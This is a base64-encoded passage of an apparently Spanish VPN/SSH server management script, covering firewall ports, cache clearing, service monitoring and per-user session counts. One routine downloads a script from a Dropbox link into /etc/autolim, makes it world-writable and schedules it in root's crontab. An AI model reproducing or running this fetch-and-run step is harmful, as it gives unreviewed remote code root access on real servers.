tcGVybWFuZW50IC0tYWRkLXBvcnQ9ODAvdGNwCnN1ZG8gZmlyZXdhbGwtY21kIC0tem9uZT1wdWJsaWMgLS1wZXJtYW5lbnQgLS1hZGQtcG9ydD04MS90Y3AKc3VkbyBmaXJld2FsbC1jbWQgLS16b25lPXB1YmxpYyAtLXBlcm1hbmVudCAtLWFkZC1wb3J0PTkwL3RjcApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0tcGVybWFuZW50IC0tYWRkLXBvcnQ9MTEwL3RjcApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0tcGVybWFuZW50IC0tYWRkLXBvcnQ9MTQzL3RjcApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0tcGVybWFuZW50IC0tYWRkLXBvcnQ9NDQyL3RjcApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0tcGVybWFuZW50IC0tYWRkLXBvcnQ9NDQzL3RjcApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0tcGVybWFuZW50IC0tYWRkLXBvcnQ9NDQ0L3RjcApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0tcGVybWFuZW50IC0tYWRkLXBvcnQ9ODA4MC90Y3AKc3VkbyBmaXJld2FsbC1jbWQgLS16b25lPXB1YmxpYyAtLXBlcm1hbmVudCAtLWFkZC1wb3J0PTgwODEvdGNwCnN1ZG8gZmlyZXdhbGwtY21kIC0tem9uZT1wdWJsaWMgLS1wZXJtYW5lbnQgLS1hZGQtcG9ydD01MzAwL3VkcApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0tcGVybWFuZW50IC0tYWRkLXBvcnQ9NzIwMC91ZHAKc3VkbyBmaXJld2FsbC1jbWQgLS16b25lPXB1YmxpYyAtLXBlcm1hbmVudCAtLWFkZC1wb3J0PTczMDAvdWRwCnN1ZG8gZmlyZXdhbGwtY21kIC0tcmVsb2FkCnN1ZG8gZmlyZXdhbGwtY21kIC0tem9uZT1wdWJsaWMgLS1saXN0LXBvcnRzICY+L2Rldi9udWxsCm1zZyAtYXp1ICIJRklYIEFHUkVHQURPIgoKfQpjYWNoZSgpewpjbGVhcgptc2cgLWJhcgptc2cgLXZlcm0gIglMSUJFUkFORE8gQ0FDSMOJL1JBTSBERUwgU0lTVEVNQSIKbXNnIC1iYXIKCnN5c2N0bCAtdyB2bS5kcm9wX2NhY2hlcz0zICY+IC9kZXYvbnVsbAojYXB0LWdldCBhdXRvY2xlYW4gLXkgJj4vZGV2L251bGw7IGFwdC1nZXQgY2xlYW4gLXkgJj4vZGV2L251bGwgJiYgbXNnIC1hbWEgIiBSRUZSRVNDQU5ETyBSQU0sU0lTVEVNQSJ8IHB2IC1xTDIwCiMgIHNsZWVwIDJzCgogIGlmIFtbICEgLXogJChjcm9udGFiIC1sfGdyZXAgLXcgImF1dG9saW0iKSBdXTsgdGhlbgogICAgbXNnIC1henUgIiBBdXRvIGxpbXBpZXphIHByb2dyYW1hZGEgY2FkYSAkKG1zZyAtdmVyZCAiWyAkKGNyb250YWIgLWx8Z3JlcCAtdyAiYXV0b2xpbSJ8YXdrICd7cHJpbnQgJDJ9J3xzZWQgJCdzL1teWzphbG51bTpdXHRdLy9nJylIUyBdIikiCiAgICBtc2cgLWJhcgogICAgd2hpbGUgOgogICAgZG8KICAgIGVjaG8gLW5lICIkKG1zZyAtYXp1ICIgRGV0ZW5lciBBdXRvIExpbXBpZXphIFtTL05dOiAiKSIgJiYgcmVhZCB5ZXNubwogICAgdHB1dCBjdXUxICYmIHRwdXQgZGwxCiAgICBjYXNlICR5ZXNubyBpbgogICAgICBzfFMpIGNyb250YWIgLWwgPiAvcm9vdC9jcm9uICYmIHNlZCAtaSAnL2F1dG9saW0vIGQnIC9yb290L2Nyb24gJiYgY3JvbnRhYiAvcm9vdC9jcm9uICYmIHJtIC9ldGMvYXV0b2xpbQogICAgICAgICAgIG1zZyAtYXp1ICIgQXV0by1MaW1wZXphIERldGVuaWRhISIgJiYgbXNnIC1iYXIgJiYgc2xlZXAgMgogICAgICAgICAgIHJldHVybiAxOzsKICAgICAgbnxOKXJldHVybiAxOzsKICAgICAgKiltZW51MyA7OwogICAgZXNhYwogICAgZG9uZQogIGZpIAogIGNsZWFyCiAgbXNnIC1iYXIKbXNnIC1hbWEgIgkgIFxlWzE7OTdtXGVbMjsxMDBtQVVUTyBNQU5URU5JTUlFTlRPIERFIFNJU1RFTUEgXGVbMG0iCm1zZyAtYmFyIAptc2cgLXZlcm0yICIg4p6lIFxlWzk3bUFDVFVBTElaQUNJT04gREUgUEFRVUVURVMgICAgICAgIgptc2cgLXZlcm0yICIg4p6lIFxlWzk3bVJFRlJFU0NBUiBSQU0gICAgICAgIgptc2cgLXZlcm0yICIg4p6lIFxlWzk3bVJFRlJFU0NBUiBTV0FQICAgICAgICIKbXNnIC12ZXJtMiAiIOKepSBcZVs5N21MSU1QSUFSIFBBUVVFVEVTIE9QU09MRVRPUyAgICAgICIKbXNnIC12ZXJtMiAiIOKepSBcZVs5N21MSU1QSUFSIENBQ0hFIFYyUkFZICAgICAgIgptc2cgLXZlcm0yICIg4p6lIFxlWzk3bVJFSU5JQ0lPIERFIFNTTCAgICAgICIKbXNnIC1iYXIKICBlY2hvIC1uZSAiJChtc2cgLWF6dSAiRGVzZWEgcHJvZ3JhbWFyIEVsIEF1dG8tTGltcGllemEgW3Mvbl06IikgIgogIHJlYWQgY19yYW0KICBpZiBbWyAkY19yYW0gPSBAKHN8U3x5fFkpIF1dOyB0aGVuCiAgICB0cHV0IGN1dTEgJiYgdHB1dCBkbDEKICAgIGVjaG8gLW5lICIkKG1zZyAtYXp1ICIgUE9OR0EgVU4gTsOaTUVSTywgRUpFTVBMTyBbMS0xMkhPUkFTXToiKSAiCiAgICByZWFkIHJhbV9jCiAgICBpZiBbWyAkcmFtX2MgPX4gXlswLTldKyQgXV07IHRoZW4KICAgICAgY3JvbnRhYiAtbCA+IC9yb290L2Nyb24KICAgICAgd2dldCAtTyAvZXRjL2F1dG9saW0gaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9ycm82Z2hxcjFkc2oyMGwvYXV0b2xpbS5zaCAmPi9kZXYvbnVsbAoJCWNobW9kIDc3NyAvZXRjL2F1dG9saW0KICAgICAgZWNobyAiMCAqLyRyYW1fYyAqICogKiBiYXNoIC9ldGMvYXV0b2xpbSIgPj4gL3Jvb3QvY3JvbgogICAgICBjcm9udGFiIC9yb290L2Nyb24KICAgICAgCiAgICAgIHNlcnZpY2UgY3JvbiByZXN0YXJ0CiAgICAgIHJtIC9yb290L2Nyb24KICAgICAgdHB1dCBjdXUxICYmIHRwdXQgZGwxCiAgICAgIG1zZyAtYXp1ICIgQXV0by1MaW1waWV6YSBwcm9ncmFtYWRhIGNhZGE6ICQobXNnIC12ZXJkICIke3JhbV9jfSBIT1JBUyIpIiAmJiBtc2cgLWJhciAmJiBzbGVlcCAyCiAgICBlbHNlCiAgICAgIHRwdXQgY3V1MSAmJiB0cHV0IGRsMQogICAgICBtc2cgLXZlcm0yICIgaW5ncmVzYXIgc29sbyBudW1lcm9zIGVudHJlIDEgeSAxMiIKICAgICAgc2xlZXAgMgogICAgICBtc2cgLWJhcgogICAgZmkKICBmaQogIHJldHVybiAxCn0KCnBpZHJfaW5zdCgpewogIHByb3RvPSJkcm9wYmVhciBweXRob24gc3R1bm5lbDQgc3R1bm5lbDUgdjJyYXkgbm9kZSBiYWR2cG4gc3F1aWQgb3BlbnZwbiBkbnMtc2VydmUgc3NzZXJ2ZXIgc3Mtc2VydmVyIgogIHBvcnRhcz0kKGxzb2YgLVYgLWkgLVAgLW4gfCBncmVwIC12ICJFU1RBQkxJU0hFRCIgfGdyZXAgLXYgIkNPTU1BTkQiKQogIGZvciBsaXN0IGluICRwcm90bzsgZG8KICAgIGNhc2UgJGxpc3QgaW4KICAgICAgZHJvcGJlYXJ8cHl0aG9ufHN0dW5uZWw0fHN0dW5uZWw1fHYycmF5fG5vZGV8YmFkdnBufHNxdWlkfG9wZW52cG58c3NzZXJ2ZXJ8c3Mtc2VydmVyKQogICAgICBwb3J0YXMyPSQoZWNobyAkcG9ydGFzfGdyZXAgLXcgIkxJU1RFTiJ8Z3JlcCAtdyAiJGxpc3QiKQogICAgICBbWyAkKGVjaG8gIiR7cG9ydGFzMn0ifGdyZXAgIiRsaXN0IikgXV0gJiYgaW5zdFskbGlzdF09IlwwMzNbMTszMm1bT05dICIgfHwgaW5zdFskbGlzdF09IlwwMzNbMTszMW1bT0ZGXSI7OwogICAgICBkbnMtc2VydmUpCiAgICAgIHBvcnRhczI9JChlY2hvICRwb3J0YXN8Z3JlcCAtdyAiJGxpc3QiKQogICAgICBbWyAkKGVjaG8gIiR7cG9ydGFzMn0ifGdyZXAgIiRsaXN0IikgXV0gJiYgaW5zdFskbGlzdF09IlwwMzNbMTszMm1bT05dICIgfHwgaW5zdFskbGlzdF09IlwwMzNbMTszMW1bT0ZGXSI7OwogICAgZXNhYwogIGRvbmUKICBbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICd3aXJlZ3VhcmQnfGhlYWQgLTEpIF1dICYmIHsKICAgIGlmIFtbICQod2d8Z3JlcCAtdyAnaW50ZXJmYWNlJykgPSAiIiBdXTsgdGhlbiBpbnN0W3dnXT0iXDAzM1sxOzMxbVtPRkZdIjsgZWxzZSBpbnN0W3dnXT0iXDAzM1sxOzMybVtPTl0gIjsgZmkKICB9IHx8IHsKICAgIGluc3Rbd2ddPSJcMDMzWzE7MzFtW09GRl0iCiAgfQp9CiMgTWVudSBJbnN0YWxhY2lvbmVzCgojY2hlY2tfSVAmCiMgTUVOVSBGTFVUVUFOVEUKbWVudV9mdW5jICgpIHsKbG9jYWwgb3B0aW9ucz0keyNAfQpsb2NhbCBhcnJheQpmb3IoKG51bT0xOyBudW08PSRvcHRpb25zOyBudW0rKykpOyBkbwplY2hvIC1uZSAiICAkKG1zZyAtdmVyZCAiXGVbMTs5M21bXGVbOTJtJG51bVxlWzkzbV0iKSAkKG1zZyAtdmVybTIgIuKemyAiKSAiCiAgYXJyYXk9KCR7IW51bX0pCiAgY2FzZSAke2FycmF5WzBdfSBpbgogICAgIi12ZCIpbXNnIC12ZXJkICJcMDMzWzE7MzNtWyFdXDAzM1sxOzMybSAkKGZ1bl90cmFucyAiJHthcnJheVtAXToxfSIpIiB8IHNlZCAnOmE7TjskIWJhO3MvXG4vIC9nJzs7CiAgICAiLXZtIiltc2cgLXZlcm0yICJcMDMzWzE7MzNtWyFdXDAzM1sxOzMxbSAkKGZ1bl90cmFucyAiJHthcnJheVtAXToxfSIpIiB8IHNlZCAnOmE7TjskIWJhO3MvXG4vIC9nJzs7CiAgICAiLWZpIiltc2cgLWF6dSAiJChmdW5fdHJhbnMgIiR7YXJyYXlbQF06Mn0iKSAke2FycmF5WzFdfSIgfCBzZWQgJzphO047JCFiYTtzL1xuLyAvZyc7OwogICAgKiltc2cgLWF6dSAiJChmdW5fdHJhbnMgIiR7YXJyYXlbQF19IikiIHwgc2VkICc6YTtOOyQhYmE7cy9cbi8gL2cnOzsKICBlc2FjCmRvbmUKfQoKVkVSWTM9JChwcyBhdXh8Z3JlcCAtdiBncmVwfGdyZXAgIm1vbml0b3IiKQptb25zZXJ2aV9mdW4gKCkgewpjbGVhcgpjbGVhcgptb25zc2ggKCkgewpzZWQgLWkgIjU3ZCIgL2Jpbi9tb25pdG9yLnNoCnNlZCAtaSAnNTdpIEVzdGFkb1NlcnZpY2lvIHNzaCcgL2Jpbi9tb25pdG9yLnNoCn0KbW9uZHJvcGJlYXIgKCkgewpzZWQgLWkgIjU5ZCIgL2Jpbi9tb25pdG9yLnNoCnNlZCAtaSAnNTlpIEVzdGFkb1NlcnZpY2lvIGRyb3BiZWFyJyAvYmluL21vbml0b3Iuc2gKfQptb25zc2woKSB7CnNlZCAtaSAiNjFkIiAvYmluL21vbml0b3Iuc2gKc2VkIC1pICc2MWkgRXN0YWRvU2VydmljaW8gc3R1bm5lbDQnIC9iaW4vbW9uaXRvci5zaAp9Cm1vbnNxdWlkKCkgewpzZWQgLWkgIjYzZCIgL2Jpbi9tb25pdG9yLnNoCnNlZCAtaSAnNjNpIFtbICQoRXN0YWRvU2VydmljaW8gc3F1aWQpIF1dICYmIEVzdGFkb1NlcnZpY2lvIHNxdWlkMycgL2Jpbi9tb25pdG9yLnNoCn0KbW9uYXBhY2hlKCkgewpzZWQgLWkgIjY1ZCIgL2Jpbi9tb25pdG9yLnNoCnNlZCAtaSAnNjVpIEVzdGFkb1NlcnZpY2lvIGFwYWNoZTInIC9iaW4vbW9uaXRvci5zaAp9Cm1vbnYycmF5KCkgewpzZWQgLWkgIjU1ZCIgL2Jpbi9tb25pdG9yLnNoCnNlZCAtaSAnNTVpIEVzdGFkb1NlcnZpY2lvIHYycmF5JyAvYmluL21vbml0b3Iuc2gKfQptc2cgLWJhcgptc2cgLXRpdAplY2hvIC1lICJcMDMzWzE7MzJtICAgICAgICAgIE1PTklUT1IgREUgU0VSVklDSU9OUyBQUklOQ0lQQUxFUyIKClBJRFZSRjM9JChwcyBhdXh8Z3JlcCAtdiBncmVwIHxncmVwICJtb25pdG9yIikKCiNQSURWUkY1PSQocHMgeHxncmVwIC12IGdyZXAgfGdyZXAgIm1vbml0IikgCgppZiBbWyAteiAkUElEVlJGMyBdXTsgdGhlbgojc2VkIC1pICc1YVxzY3JlZW4gLWRtUyBtb25pdG9yIC9ldGMvVlBTLU1YL3RtcC9tb25pdG9yJyAvYmluL3Jlc2V0c3NoZHJvcAptc2cgLWJhcgplY2hvIC1lICJcMDMzWzE7MzRtICAgICAgICAgIMK/TW9uaXRvcmVhciBQcm90b2NvbG8gU1NIL1NTSEQ/Igptc2cgLWJhcgpyZWFkIC1wICIgICAgICAgICAgICAgICAgICAgIFsgcyB8IG4gXTogIiBtb25zc2ggIApzZWQgLWkgIjU3ZCIgL2Jpbi9tb25pdG9yLnNoCnNlZCAtaSAnNTdpICNFc3RhZG9TZXJ2aWNpbyBzc2gnIC9iaW4vbW9uaXRvci5zaCAKW1sgIiRtb25zc2giID0gInMiIHx8ICIkbW9uc3NoIiA9ICJTIiBdXSAmJiBtb25zc2gKbXNnIC1iYXIKZWNobyAtZSAiXDAzM1sxOzM0bSAgICAgICAgICDCv01vbml0b3JlYXIgUHJvdG9jb2xvIERST1BCRUFSPyIKbXNnIC1iYXIKcmVhZCAtcCAiICAgICAgICAgICAgICAgICAgICBbIHMgfCBuIF06ICIgbW9uZHJvcGJlYXIgIApzZWQgLWkgIjU5ZCIgL2Jpbi9tb25pdG9yLnNoCnNlZCAtaSAnNTlpICNFc3RhZG9TZXJ2aWNpbyBkcm9wYmVhcicgL2Jpbi9tb25pdG9yLnNoCltbICIkbW9uZHJvcGJlYXIiID0gInMiIHx8ICIkbW9uZHJvcGJlYXIiID0gIlMiIF1dICYmIG1vbmRyb3BiZWFyCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTszNG0gICAgICAgICAgICDCv01vbml0b3JlYXIgUHJvdG9jb2xvIFNTTD8iCm1zZyAtYmFyCnJlYWQgLXAgIiAgICAgICAgICAgICAgICAgICAgWyBzIHwgbiBdOiAiIG1vbnNzbCAgCnNlZCAtaSAiNjFkIiAvYmluL21vbml0b3Iuc2gKc2VkIC1pICc2MWkgI0VzdGFkb1NlcnZpY2lvIHN0dW5uZWw0JyAvYmluL21vbml0b3Iuc2gKW1sgIiRtb25zc2wiID0gInMiIHx8ICIkbW9uc3NsIiA9ICJTIiBdXSAmJiBtb25zc2wKbXNnIC1iYXIKZWNobyAtZSAiXDAzM1sxOzM0bSAgICAgICAgICAgIMK/TW9uaXRvcmVhciBQcm90b2NvbG8gU1FVSUQ/Igptc2cgLWJhcgpyZWFkIC1wICIgICAgICAgICAgICAgICAgICAgIFsgcyB8IG4gXTogIiBtb25zcXVpZCAgCnNlZCAtaSAiNjNkIiAvYmluL21vbml0b3Iuc2gKc2VkIC1pICc2M2kgI1tbICQoRXN0YWRvU2VydmljaW8gc3F1aWQpIF1dICYmIEVzdGFkb1NlcnZpY2lvIHNxdWlkMycgL2Jpbi9tb25pdG9yLnNoCltbICIkbW9uc3F1aWQiID0gInMiIHx8ICIkbW9uc3F1aWQiID0gIlMiIF1dICYmIG1vbnNxdWlkCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTszNG0gICAgICAgICAgICDCv01vbml0b3JlYXIgUHJvdG9jb2xvIEFQQUNIRT8iCm1zZyAtYmFyCnJlYWQgLXAgIiAgICAgICAgICAgICAgICAgICAgWyBzIHwgbiBdOiAiIG1vbmFwYWNoZSAgCnNlZCAtaSAiNjVkIiAvYmluL21vbml0b3Iuc2gKc2VkIC1pICc2NWkgI0VzdGFkb1NlcnZpY2lvIGFwYWNoZTInIC9iaW4vbW9uaXRvci5zaApbWyAiJG1vbmFwYWNoZSIgPSAicyIgfHwgIiRtb25hcGFjaGUiID0gIlMiIF1dICYmIG1vbmFwYWNoZQptc2cgLWJhcgplY2hvIC1lICJcMDMzWzE7MzRtICAgICAgICAgICAgwr9Nb25pdG9yZWFyIFByb3RvY29sbyBWMlJBWT8iCm1zZyAtYmFyCnJlYWQgLXAgIiAgICAgICAgICAgICAgICAgICAgWyBzIHwgbiBdOiAiIG1vbnYycmF5ICAKc2VkIC1pICI1NWQiIC9iaW4vbW9uaXRvci5zaApzZWQgLWkgJzU1aSAjRXN0YWRvU2VydmljaW8gdjJyYXknIC9iaW4vbW9uaXRvci5zaCAKW1sgIiRtb252MnJheSIgPSAicyIgfHwgIiRtb252MnJheSIgPSAiUyIgXV0gJiYgbW9udjJyYXkgCiNzY3JlZW4gLWRtUyBtb25pdG9yIC9ldGMvVlBTLU1YL3RtcC9tb25pdG9yCiNzY3JlZW4gLWRtUyBtb25pdCAvZXRjL1ZQUy1NWC90bXAvbW9uaXRvcgplY2hvIC1lICJbVW5pdF0KRGVzY3JpcHRpb249bW9uaXRvciBTZXJ2aWNlCkFmdGVyPW5ldHdvcmsudGFyZ2V0XG4KW1NlcnZpY2VdClR5cGU9c2ltcGxlClVzZXI9cm9vdApXb3JraW5nRGlyZWN0b3J5PS9yb290CkV4ZWNTdGFydD0vYmluL2Jhc2ggL2V0Yy9WUFMtTVgvdG1wL21vbml0b3IKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz0zc1xuCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldCIgPiAvZXRjL3N5c3RlbWQvc3lzdGVtL21vbml0LnNlcnZpY2UKCiAgICBzeXN0ZW1jdGwgZW5hYmxlIG1vbml0ICY+L2Rldi9udWxsCiAgICBzeXN0ZW1jdGwgc3RhcnQgbW9uaXQgJj4vZGV2L251bGwKZWxzZQoKCXN5c3RlbWN0bCBzdG9wIG1vbml0ICY+L2Rldi9udWxsCglzeXN0ZW1jdGwgZGlzYWJsZSBtb25pdCAmPi9kZXYvbnVsbAogICAgcm0gLXJmIC9ldGMvc3lzdGVtZC9zeXN0ZW0vbW9uaXQgLnNlcnZpY2UKICAgIHNlZCAtaSAiNmQiIC9iaW4vcmVzZXRzc2hkcm9wCmZpCgptc2cgLWJhcgplY2hvIC1lICIgICAgICAgICAgICAgUHVlZGVzIE1vbml0b3JlYXIgZGVzZGU6XG4gICAgICAgXDAzM1sxOzMybSBodHRwOi8vJChtZXVfaXApOjgxL21vbml0b3IuaHRtbCIKbXNnIC1iYXIKW1sgLXogJHtWRVJZM30gXV0gJiYgbW9uaXRvcj0iXDAzM1sxOzMybSBBQ1RJVkFETyAiIHx8IG1vbml0b3I9IlwwMzNbMTszMW0gREVTQUNUSVZBRE8gIgplY2hvIC1lICIgICAgICAgICAgICAkbW9uaXRvciAgLS0gIENPTiBFWElUTyIKbXNnIC1iYXIKCn0KZHJvcHBpZHMoKXsKICBwb3J0X2Ryb3BiZWFyPWBwcyBhdXh8Z3JlcCAnZHJvcGJlYXInfGF3ayBOUj09MXxhd2sgJ3twcmludCAkMTc7fSdgCgogIGxvZz0vdmFyL2xvZy9hdXRoLmxvZwogIGxvZ2luc3Vrc2VzPSdQYXNzd29yZCBhdXRoIHN1Y2NlZWRlZCcKCiAgcGlkcz1gcHMgYXh8Z3JlcCAnZHJvcGJlYXInfGdyZXAgIiAkcG9ydF9kcm9wYmVhciJ8YXdrIC1GICIgIiAne3ByaW50ICQxfSdgCgogIGZvciBwaWQgaW4gJHBpZHM7IGRvCiAgICBwaWRsb2dzPWBncmVwICRwaWQgJGxvZyB8Z3JlcCAiJGxvZ2luc3Vrc2VzIiB8YXdrIC1GIiAiICd7cHJpbnQgJDN9J2AKCiAgICBpPTAKICAgIGZvciBwaWRlbmQgaW4gJHBpZGxvZ3M7IGRvCiAgICAgIGxldCBpPWkrMQogICAgZG9uZQoKICAgIGlmIFsgJHBpZGVuZCBdO3RoZW4KICAgICAgIGxvZ2luPWBncmVwICRwaWQgJGxvZyB8Z3JlcCAiJHBpZGVuZCIgfGdyZXAgIiRsb2dpbnN1a3NlcyJgCiAgICAgICBQSUQ9JHBpZAogICAgICAgdXNlcj1gZWNobyAkbG9naW4gfGF3ayAtRiIgIiAne3ByaW50ICQxMH0nIHwgc2VkIC1yICJzLycvIC9nImAKICAgICAgIHdha3R1PWBlY2hvICRsb2dpbiB8YXdrIC1GIiAiICd7cHJpbnQgJDIiLSIkMSwkM30nYAogICAgICAgd2hpbGUgWyAkeyN3YWt0dX0gLWx0IDEzIF07IGRvCiAgICAgICAgICAgd2FrdHU9JHdha3R1IiAiCiAgICAgICBkb25lCiAgICAgICB3aGlsZSBbICR7I3VzZXJ9IC1sdCAxNiBdOyBkbwogICAgICAgICAgIHVzZXI9JHVzZXIiICIKICAgICAgIGRvbmUKICAgICAgIHdoaWxlIFsgJHsjUElEfSAtbHQgOCBdOyBkbwogICAgICAgICAgIFBJRD0kUElEIiAiCiAgICAgICBkb25lCiAgICAgICBlY2hvICIkdXNlciAkUElEICR3YWt0dSIKICAgIGZpCmRvbmUKfQpvcGVudnBuX3BpZHMgKCkgewojbm9tZXwjbG9ndWlufCNyY3Z8I3NuZHwjdGltZQogIGJ5dGUgKCkgewogICB3aGlsZSByZWFkIEIgZHVtbXk7IGRvCiAgIFtbICIkQiIgLWx0IDEwMjQgXV0gJiYgZWNobyAiJHtCfSBieXRlcyIgJiYgYnJlYWsKICAgS0I9JCgoKEIrNTEyKS8xMDI0KSkKICAgW1sgIiRLQiIgLWx0IDEwMjQgXV0gJiYgZWNobyAiJHtLQn0gS2IiICYmIGJyZWFrCiAgIE1CPSQoKChLQis1MTIpLzEwMjQpKQogICBbWyAiJE1CIiAtbHQgMTAyNCBdXSAmJiBlY2hvICIke01CfSBNYiIgJiYgYnJlYWsKICAgR0I9JCgoKE1CKzUxMikvMTAyNCkpCiAgIFtbICIkR0IiIC1sdCAxMDI0IF1dICYmIGVjaG8gIiR7R0J9IEdiIiAmJiBicmVhawogICBlY2hvICQoKChHQis1MTIpLzEwMjQpKSB0ZXJhYnl0ZXMKICAgZG9uZQogICB9CmZvciB1c2VyIGluICQobW9zdHJhcl91c3Vhcmlvcyk7IGRvCnVzZXI9IiQoZWNobyAkdXNlcnxzZWQgLWUgJ3MvW15hLXowLTkgLV0vL2lnJykiCltbICEgJChzZWQgLW4gIi9eJHt1c2VyfSwvcCIgL2V0Yy9vcGVudnBuL29wZW52cG4tc3RhdHVzLmxvZykgXV0gJiYgY29udGludWUKaT0wCnVuc2V0IFJFQ0lWRUQ7IHVuc2V0IFNFTkQ7IHVuc2V0IEhPVVIKIHdoaWxlIHJlYWQgbGluZTsgZG8KIElETE9DQUw9JChlY2hvICR7bGluZX18Y3V0IC1kJywnIC1mMikKIFJFQ0lWRUQrPSIkKGVjaG8gJHtsaW5lfXxjdXQgLWQnLCcgLWYzKSsiCiBTRU5EKz0iJChlY2hvICR7bGluZX18Y3V0IC1kJywnIC1mNCkrIgogREFURVNFQz0kKGRhdGUgKyVzIC0tZGF0ZT0iJChlY2hvICR7bGluZX18Y3V0IC1kJywnIC1mNXxjdXQgLWQnICcgLWYxLDIsMyw0KSIpCiBUSU1FT049IiQoKCQoZGF0ZSArJXMpLSR7REFURVNFQ30pKSIKICBNSU49JCgoJFRJTUVPTi82MCkpICYmIFNFQz0kKCgkVElNRU9OLSRNSU4qNjApKSAmJiBIT1I9JCgoJE1JTi82MCkpICYmIE1JTj0kKCgkTUlOLSRIT1IqNjApKQogIEhPVVIrPSIke0hPUn1oOiR7TUlOfW06JHtTRUN9c1xuIgogIGxldCBpKysKIGRvbmUgPDw8ICIkKHNlZCAtbiAiL14ke3VzZXJ9LC9wIiAvZXRjL29wZW52cG4vb3BlbnZwbi1zdGF0dXMubG9nKSIKUkVDSVZFRD0kKGVjaG8gJChlY2hvICR7UkVDSVZFRH0wfGJjKXxieXRlKQpTRU5EPSQoZWNobyAkKGVjaG8gJHtTRU5EfTB8YmMpfGJ5dGUpCkhPVVI9JChlY2hvIC1lICRIT1VSfHNvcnQgLW58dGFpbCAtMSkKZWNobyAtZSAiJHVzZXJ8JGl8JFJFQ0lWRUR8JFNFTkR8JEhPVVIiIApkb25lCn0KbW9uaXRvci11c2VyKCl7Cgl1c2Vycz0kKGNhdCAvZXRjL3Bhc3N3ZHxncmVwICdob21lJ3xncmVwICdmYWxzZSd8Z3JlcCAtdiAnc3lzbG9nJ3xhd2sgLUYgJzonICd7cHJpbnQgJDF9JykKCWRwaWRzPSQoZHJvcHBpZHMpCgl0aW1lPSQoZGF0ZSArJXMpCglbWyAtZSAvZXRjL29wZW52cG4vb3BlbnZwbi1zdGF0dXMubG9nIF1dICYmIG92cG5fbG9nPSQoY2F0IC9ldGMvb3BlbnZwbi9vcGVudnBuLXN0YXR1cy5sb2cpCgoJbj0nMCcKCWk9JzAnCgljb25lY3Q9JzAnCglmb3IgX3VzZXIgaW4gJHVzZXJzOyBkbwoJCVtbIC16ICIkKHBzIC11ICRfdXNlcnxncmVwIHNzaGQpIiBdXSAmJiBzcWQ9MCB8fCBzcWQ9MQoJCVtbIC16ICIkKGVjaG8gJG92cG5fbG9nfGdyZXAgLUUgLCIkX3VzZXIiLCkiIF1dICYmIG92cD0wIHx8IG92cD0xCiAgICAgICAgW1sgLXogIiQoZWNobyAkZHBpZHN8Z3JlcCAtdyAiJF91c2VyIikiIF1dICYmIGRyb3A9MCB8fCBkcm9wPTEKCiAgICAgICAgY29uZXg9JCgoJHNxZCArICRvdnAgKyAkZHJvcCkpCiAgICAjICAgY29uZXg9IiQoZWNobyAkUElEfGJjKSIKICAgICAgICBbWyAkY29uZXggLW5lIDAgXV0gJiYgbGV0IGNvbmVjdCsrCgoJCWlmIFtbICQoY2hhZ2UgLWwgJF91c2VyIHxncmVwICdBY2NvdW50IGV4cGlyZXMnIHxhd2sgLUYgJzogJyAne3ByaW50ICQyfScpICE9IG5ldmVyIF1dOyB0aGVuCgkJCVtbICR0aW1lIC1ndCAkKGRhdGUgJyslcycgLWQgIiQoY2hhZ2UgLWwgJF91c2VyIHxncmVwICJBY2NvdW50IGV4cGlyZXMiIHxhd2sgLUYgJzogJyAne3ByaW50ICQyfScpIikgXV0gJiYgbGV0IG4rKwoJCWZpCgkJW1sgJChwYXNzd2QgLS1zdGF0dXMgJF91c2VyfGN1dCAtZCAnICcgLWYyKSA9ICJMIiBdXSAmJiBsZXQgaSsrCglkb25lCgoJX29ubGluPSQocHJpbnRmICclLTdzJyAiJGNvbmVjdCIpCglfdXNlcmV4cD0kKHByaW50ZiAnJS03cycgIiRuIikKCV9sb2s9JChwcmludGYgJyUtN3MnICIkaSIpCglfdHVzZXI9JChlY2hvICIkdXNlcnMifHNlZCAnL14kL2QnfHdjIC1sKQoKCWVjaG8gLWUgIiAkKG1zZyAtdmVyZCAiT05MSU5FOiIpICQobXNnIC1henUgIiRfb25saW4iKSAkKG1zZyAtdmVybTIgIkVYUElSQURPUzoiKSAkKG1zZyAtYXp1ICIkX3VzZXJleHAiKSAkKG1zZyAtYnJhICJcZVs5NW1CTE9RVUVBRE86IikgJChtc2cgLWF6dSAiJF9sb2siKSIgIyQobXNnIC1hbWEgIlRPVEFMOiIpICQobXNnIC1henUgIiRfdHVzZXIiKSIKfQojIFNJU1RFTUEgREUgU0VMRUNBTwpzZWxlY3Rpb25fZnVuICgpIHsKbG9jYWwgc2VsZWN0aW9uPSJudWxsIgpsb2NhbCByYW5nZQpmb3IoKGk9MDsgaTw9JDE7IGkrKykpOyBkbyByYW5nZVskaV09IiRpICI7IGRvbmUKd2hpbGUgW1sgISAkKGVjaG8gJHtyYW5nZVsqXX18Z3JlcCAtdyAiJHNlbGVjdGlvbiIpIF1dOyBkbwplY2hvIC1uZSAiXDAzM1sxOzM3bSQoZnVuX3RyYW5zICIg4pa6IFNlbGVjaW9uZSB1bmEgT3BjaW9uIik6ICIgPiYyCnJlYWQgc2VsZWN0aW9uCnRwdXQgY3V1MSA+JjIgJiYgdHB1dCBkbDEgPiYyCmRvbmUKZWNobyAkc2VsZWN0aW9uCn0KZXhwb3J0IC1mIG1zZwpleHBvcnQgLWYgc2VsZWN0aW9uX2Z1bgpleHBvcnQgLWYgZnVuX3RyYW5zCmV4cG9ydCAtZiBtZW51X2Z1bmMKZXhwb3J0IC1mIG1ldV9pcApleHBvcnQgLWYgZnVuX2lwCmV4cG9ydCAtZiBsYWNhc2l0YQpjbGVhcgpzdWRvIHN5bmMKc3VkbyBzeXNjdGwgLXcgdm0uZHJvcF9jYWNoZXM9MyA+IC9kZXYvbnV